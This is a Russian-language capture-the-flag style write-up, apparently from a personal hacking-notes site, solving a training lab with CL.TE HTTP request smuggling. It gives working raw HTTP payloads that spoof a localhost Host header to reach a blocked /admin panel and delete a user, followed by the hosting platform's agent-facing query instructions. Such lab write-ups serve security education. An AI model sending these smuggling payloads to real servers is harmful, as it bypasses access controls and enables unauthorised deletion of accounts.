> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/request-smuggling/front-end-security-bypass-via-cl-te.md).

# Обход фронтенд-защиты через CL.TE

### Эксплуатация HTTP Request Smuggling для обхода средств защиты фронтенда, уязвимость CL.TE

Лаборатория использует **фронтенд** сервер и **бэкенд**. Фронтенд **не поддерживает chunked encoding**, тогда как бэкенд принимает его. / Доступ к панели администратора, расположенной по адресу **/admin** блокируется фронтендом.

Цель состоит в том, чтобы **сокрыть запрос** в бэкенд, что позволит получить доступ к панели администратора, а затем **удалить пользователя carlos**.

<figure><img src="/files/c78a75173a383f58fc81904f8001d7c84423e55d" alt=""><figcaption></figcaption></figure>

#### **1. Проверка уязвимости CL.TE**

Фронтенд интерпретирует Content-Length, тогда как бэкенд использует Transfer-Encoding.

Базовый payload для CL.TE:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 5
Transfer-Encoding: chunked

0


```

Это возвращает **200**, что подтверждает, что бэкенд принимает `Transfer-Encoding` во внимание.

<figure><img src="/files/7a8521cde497d258154bff5781fc1ebf9dc60006" alt=""><figcaption></figcaption></figure>

#### **2. Инъекция скрытого запроса**

Когда затем запросы связываются в цепочку, бэкенд читает скрытый запрос:

```http
Content-Length: 33
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Тест: A
```

Бэкенд отвечает, что **только локальные пользователи** могут получить доступ к /admin.

<figure><img src="/files/c55c11d95c9fe97a9a9401a0a58976bc818d465e" alt=""><figcaption></figcaption></figure>

#### **3. Подмена Host, чтобы выглядеть локальным**

Чтобы обойти ограничение, бэкенд должен поверить, что запрос исходит с localhost.

Первая попытка:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
```

Но сервер возвращает:

```json
{
 "error":"Имена дублирующихся заголовков не допускаются"
}
```

Следовательно, бэкенд не интерпретирует этот запрос как полностью новый запрос.

### **4. Формирование корректного скрытого запроса**

Один `Content-Length` добавляется к скрытому запросу, чтобы он был обработан корректно:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: 127.0.0.1
Content-Length: 9

test=test
```

Чтобы бэкенд правильно прочитал запрос, мы корректируем размер:

```http
Content-Length: 10
```

Полный запрос, отправляемый на фронтенд, выглядит так:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

test=test
```

<figure><img src="/files/0639a2356372065e7b16dee41eb91147cf1019bd" alt=""><figcaption></figcaption></figure>

#### **5. Удаление пользователя Carlos**

Теперь просто замените строку GET на вызов удаления:

```http
Content-Length: 97
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 10

test=test
```

<figure><img src="/files/079e8e337aafccfab7e9aa8979f4b7b0332db18a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/request-smuggling/front-end-security-bypass-via-cl-te.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
